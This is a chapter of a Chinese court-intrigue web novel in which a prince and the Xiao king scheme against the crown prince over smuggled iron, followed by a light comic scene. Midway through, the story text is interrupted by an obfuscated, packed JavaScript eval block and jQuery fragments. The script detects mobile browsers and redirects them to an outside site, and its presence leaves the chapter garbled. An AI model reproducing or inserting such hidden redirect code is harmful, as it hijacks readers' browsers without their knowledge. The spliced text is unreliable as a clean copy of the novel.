28.第 28 章
作品:《趴菜小杀手》 五皇子亲率大军平乱,狼关大捷的战报,让南宫瑾瑜龙颜大悦。而太子秘折中的内容,却让他喜忧参半。
一是为自豪,不愧是朕的太子,这么短的时间,就能查出私铁一案的疑点。
但私铁流向,却让南宫瑾瑜不自觉皱紧了眉头。萧王手握重兵,一直是南宫瑾瑜的隐忧。
很快,一道派遣太子前往江都劳军的圣旨,赶在漕船返程前送到了青州。
江都,南宫珏肯定是不能去的。自己查自己的老巢,不是更加方便他和南宫云华暗渡陈仓,监守自盗。这一点,南宫珏心如明镜。
于是他主动提出想留在青州多玩些时日,倒是免去了太子和他之间的些许尴尬。
太子临出发前留下了一部分黯阳卫,名义上是护卫世子的安全。这层窗户纸更是没人会去捅破。
“王爷,太子明日便到江都。”
南宫渊的眉毛微颤一下,派过去埋伏在青州的死士一点消息也没传回来,他本来还抱着一丝幻想,认为他们和太子同归于尽了。现在看来还是失手了。
“知道了。”
师爷在一旁等了片刻,见南宫云华正专注地盯着棋盘,识趣地行了个礼退出去。
南宫渊钳在手中的子刚要落下,南宫云华忽然说道:“太子要来,殿下就不意外?”
南宫渊愣了愣,维持着淡淡的笑意,镇静地将那枚棋子放下:“这有什么好意外的。皇伯的兵骁勇善战,立了大功,太子亲至军中慰问,那也是情理之中。”
“哦?你当真这么想?”南宫云华停下动作,将棋盘推到一边,锐利的目光似乎要将南宫渊剥个精光。
南宫渊觉得嗓子眼紧得慌,干笑两声:“皇伯赫赫威名在外,战无不胜、所向披靡,太子想比也是坐不住,想来皇伯这露个脸。”
“是太子坐不住,还是五殿下坐不住啊?”南宫云华的尾音拖得很长,不怒而自威。
南宫渊还想装傻充愣。
“太子身为储君,此行是替陛下体察民情。五殿下是羽翼渐丰了,敢贸然对太子出手,欲制他于死地。殿下是皇子做腻味了,想当乱臣贼子玩玩?”
南宫云华的视线如刀般扫过南宫渊,让他觉得脊背一凉。但无论如何不能在这个时候失去南宫云华的支持,他知道他太多秘密,还掌握着至关重要的兵权,若不能成为他夺嫡的一大助力,必成为重大障碍,到时必南宫渊便会为之反噬。
想到这,他铺通一声跪在南宫云华面前。
“哎哟五殿下,这我可无福消受。殿下贵为皇子,何须在我面前这样。”话虽这么说,但南宫云华没有起身去扶他,而是后退一步,居高临下地看着他。
“皇伯救我。”南宫渊的声线颤抖着。
南宫云华冷冷地看着:“你是不是自以为天衣无缝?若是那些人被交到圣上那,你可知是何后果?”
南宫渊心里清楚,只要将人交给了父皇,自己便再难赢回父皇的心,在这前朝的政治场中也就彻底失势。毕竟南宫瑾瑜最憎恶看见的,就是兄弟离心。他一闭眼一咬牙,将事情全盘托出:“皇伯,是我目光短浅、做事一意孤行。本想除掉后患,皇伯和我接下来的计划能更顺利些。”
他所讲的过程都是真的,但却也隐瞒了一些信息。
借着他在平叛、没有闲暇的由头除掉太子,的确比较不容易被怀疑。但在此时动手还有另一个好处——圣上现在最疑心的人是南宫云华,特派太子来调查此事,而太子就在青州薨没,势必将矛头指向南宫云华。南宫云华难以自证,别无选择,便只能加倍支持南宫渊。他也正好借势发动兵变……
南宫云华待他说完,才将他从地上扶了起来:“我知殿下的想法,但遇事切不可操之过急,须得徐徐图之。”
南宫云华阴冷的眼神一直盯着南宫渊,直到他消失在长廊尽头,南宫云华才长出一口气。而南宫渊略显颓废的背影之后,一双拳头攥得快要嵌进肉里。
南宫云华也暗中派人去行刺,两方人马意外相撞,不知是敌是友,大打出手,最后死伤惨重。所幸有属下拖着最后一口气,回江都向他报告了此事。
至于南宫渊的人当场就全部毙命,也没抓到活口,他无从判断是谁的人,只得诈南宫渊。毕竟太子若是真出了事情,南宫渊看起来会是最大的利益既得者。
到底是他棋高一招。南宫云华推开房门,师爷正立于门口。
“王爷……还需要另寻机会对世子动手吗?”师爷欲言又止,有些话他不知该如何说。
“既然已经错过了机会,那便先由他跟着太子闹腾,最终落得个什么样的下场,那也是他的命数。”南宫云华轻描淡写道。
他毕竟老谋深算,直接杀太子太引人注目,所以他派出的人马是冲着南宫珏去的。南宫珏若是重伤,太子必定惊慌失措、逃窜回阳城。不论他此行目的何在,都没有意义。而重点必定会转移到找凶手上来。这能为南宫云华争取更多的时间。
他的狼子野心,迟早会被发现,必须在那之前,打南宫瑾瑜一个措手不及。
而世子,这个可怜的二儿子,他错就错在本该老老实实待在阳城,扮演好他王爷世子这个角色,但他非要加入太子阵营。还有他一直带着的那个女人,先前宫宴上就帮他出尽风头。
直觉告诉南宫云华,小儿子也长大了。既然是道不相同,南宫云华对他也绝不会手下留情。
次日,南宫云华沐浴更衣,带领属官一早就恭候在城外,待太子銮驾走到近前,南宫云华立刻趋步上前,躬身长揖:“臣萧亲王南宫云华,恭迎太子殿下千岁!”
见太子从轿中下来,南宫云华又再次行礼:“臣萧亲王南宫云华,恭迎太子殿下千岁!”
太子虚扶一把:“萧王请起,不必多礼。”
待众人起身,太子拍了拍南宫渊的肩头以示亲切:“五弟受苦了。”
“哪里,也是为父皇、皇兄分忧。”南宫渊皮笑肉不笑。
接下来几日,太子大设宴席,犒赏江都边军,引得人心振奋。
在江都待久了,太子发现,边军虽然看上去高矮胖瘦参差不齐,列队时的军容更是与阳城禁卫无法相提并论,可是他们身上都带着一股子狠劲,似乎随时都能豁出命去。
抡起治军,萧王确实很有一套,他竟然能够想出,将父子、兄弟编入同一战队。
刚开始太子还觉得有些奇怪,毕竟裙带关系容易引发一系列的矛盾。
直到这天点兵出征,他从那些失去亲人士兵的脸上,看到什么是复仇的欲望,才真正感受到这支军队强大的战斗力。
五皇子经过这段时间在边关的锤炼,看上去黑了许多,但他却让太子隐约感受到一种难以形容的危机。
是他长大成熟了?还是他眼神里,透出那种以往所没有的坚韧?
“太子殿下。”
“五弟来了。”
“本想这次随太子一同回去,但近来边关战事不断,我已上本给了父皇,想着在这里再多待些时日。”
“五弟心系社稷,真是辛苦了。不过在这儿多历练一番也好,将来我大乾又多一位能征善战的王爷。”
南宫渊笑笑将话题带过,继而陪着太子聊了一些他在边关的所见所闻。两人并排坐着,像寻常兄弟唠家常般随意。
话语中,南宫渊敏锐地捕捉到,太子从未接触过军中事务,对这些江防、城防之类的见解,都只停留在书中所授。聊了一阵子,南宫渊也再没了什么兴趣,借口不打扰太子休息告辞而去。
第二日天刚朦朦亮,漕船便已靠岸。太子并没有漏掉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422121|184280||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前来换防的士兵们,亲自登上漕船感谢他们。下船时,太子的视线扫过船身,远山做好的那道标记居然又再次浮出了水面。
这说明——船轻了?
那批铁矿,最终没有运到江都。漕船沿途航程长,应当已经在那两站将东西卸掉。
太子在日出时便悄然离开,没同他们道别。
——
“走了吗?”南宫珏用气声问远山。
“殿下,程姑娘已经走了。”远山答道。
在书房里又坐了一会儿,做好心理建设,南宫珏探头探脑地来到门外:“走走走。”
他的翻墙技术比程欢好得多,当然是在远山的帮助下。他轻巧地落地,快步走出巷子:“东西带了吗?”
“带了。”远山拍了拍自己腰间一个凸起,一副我办事你放心的模样。
刚转过一个弯,南宫珏脸上愁容尽褪,脚步都欢快起来,不停地兴奋催促:“你走快点,别磨磨唧唧,耽误时间。”
俩人来到市井间一家茶馆,却见门外人头攒动。
“就是这里?”
不待远山答话,南宫珏已经有些迫不及待地挤进了人群,还引来身边一阵咒骂。
“咬他,使劲咬,对,就是这样。”
南宫珏正撸胳膊挽袖子,指挥着他那只“常胜将军”大杀四方,远山也在一旁跟着呐喊助威。
“谁?谁这么大胆?”
冷不防脑门上吃了一记的南宫珏,还当时之前输给自己的人偷着报复,远山也也怒目圆睁,正欲对来人动手。
可当他看清楚面前这人,立刻就耷拉下了脑袋:“程,程姑娘。”
程欢也不搭理,伸手直接拧住南宫珏的耳朵就往外拉。
“疼,疼,快放开我。”
南宫珏也看清楚了来人,一边护着吃疼的耳朵,一边还不忘用手指了指场中那只正在酣斗的蟋蟀,所幸远山办事细心,还记得将那蟋蟀抓了回来。
见这位富家公子被俏丽小媳妇揪着耳朵给拖出去,人群立刻发出一阵哄笑。
“都什么时候了?你还有心思来玩?”
“我没有。”
南宫珏自知理亏,说话声比蚊子还小。
“远山!”
“在。”
“是不是你带世子殿下来的?”
“对,对,我说了不来,远山非拉我过来。”
远山还未开口,南宫珏已忙着插话。
随行几名侍卫,只当作是什么都看不见,站在一旁又聋又瞎。
“你得学会有张有弛,张弛有度,不能又想马儿跑又想马儿不吃草……”南宫珏又要搬出他那套享乐主义的说辞。
“你是马吗?你吃草吗?”程欢反问道。
“这是比喻,比喻你能懂吗……”南宫珏试图解释,程欢将他一把推进房间,还顺手带上了房门。
南宫珏一路后退直到被床脚绊倒,他低下头看,自己偏偏还穿了件白衣,身形若隐若现。这……不太对吧?
他下意识捂紧衣服:“我……我们……”
一个什么布被扔到他头上,遮住他的视线。南宫珏更是被吓得不敢呼吸。
“太子传密信来,说货在途中就被卸了,没有运到江都。让我们速速回阳城,他也在往回赶,得赶紧向圣上禀报。恭喜你,成功脱险。”程欢边说边开始收拾东西,没管身后。等了半晌都没动静,她很疑惑地扭头看了一眼。
南宫珏像个娇羞新娘一样坐在床上。
“你把包袱顶在脑袋上干嘛!还等谁掀起你的盖头来啊!!!快动起来!!!晚饭之前要出发!”程欢声如洪钟。
南宫珏应声而动,手忙脚乱地把包袱拿下来铺好,嘴上也不闲着:“看吧,我就说和江都没关系。这都小事。”